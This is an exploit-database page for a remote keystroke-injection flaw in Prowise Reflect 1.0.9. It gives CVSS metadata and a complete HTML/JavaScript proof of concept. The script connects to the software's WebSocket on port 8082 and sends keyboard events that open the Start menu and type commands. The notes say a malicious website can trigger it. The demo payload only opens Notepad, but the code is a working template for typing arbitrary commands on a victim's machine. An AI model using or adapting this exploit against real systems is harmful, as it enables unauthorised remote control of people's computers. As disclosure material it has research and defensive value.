Exploitalert - Database of Exploits

Prowise Reflect 1.0.9 Remote Keystroke Injection

CVE	Category	Price	Severity
N/A	CWE-17	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2022-03-12

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2022030014

Prowise Reflect 1.0.9 Remote Keystroke Injection

# Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection # Date: 30/10/2022 # Exploit Author: Rik Lutz # Vendor Homepage: https://www.prowise.com/ # Version: V1.0.9 # Tested on: Windows 10 # Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection. # Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed), # or by visiting a malicious website. This POC contains the malicious webpage. # Steps: # 1. Start Prowise reflect # 2. Try to connect to a reflect server e.q. ygm7u6od # 3. When it is connecting click exploit # - Start menu will open, types notepad.exe and types hello world. <!DOCTYPE HTML> <html> <head> <script type = "text/javascript"> function wait(ms){ var start = new Date().getTime(); var end = start; while(end < start + ms) { end = new Date().getTime(); } } function WebSocketTest() { var StateConnecting = new Boolean(false); if ("WebSocket" in window) { // Let us open a web socket var ws = new WebSocket("ws://localhost:8082"); ws.onopen = function() { ws.send('{"event":"keyboard", "key":"super"}'); wait(400); //character is slower // ws.send('{"event":"keyboard", "character":"notepad.exe"}'}; // You can check for connecting state by sending {"event":"setupRTCConnection", "remoteName":"a"} if the response is {"event":"streamAvailable"} getIsConnecting == true var exploitcode = "notepad.exe" for (let i = 0; i < exploitcode.length; i++) { ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}'); } wait(300); ws.send('{"event":"keyboard", "key":"enter"}'); wait(2000); exploitcode = "Hello world!" for (let i = 0; i < exploitcode.length; i++) { ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}'); } wait(200); }; ws.onmessage = function (evt) { var received_msg = evt.data; }; ws.onclose = function() { // websocket is closed. alert("Connection is closed..."); }; } else { // The browser doesn't support WebSocket alert("WebSocket NOT supported by your Browser!"); } } </script> </head> <body> <div id = "sse"> <a href = "javascript:WebSocketTest()">Exploit!</a> </div> </body> </html>

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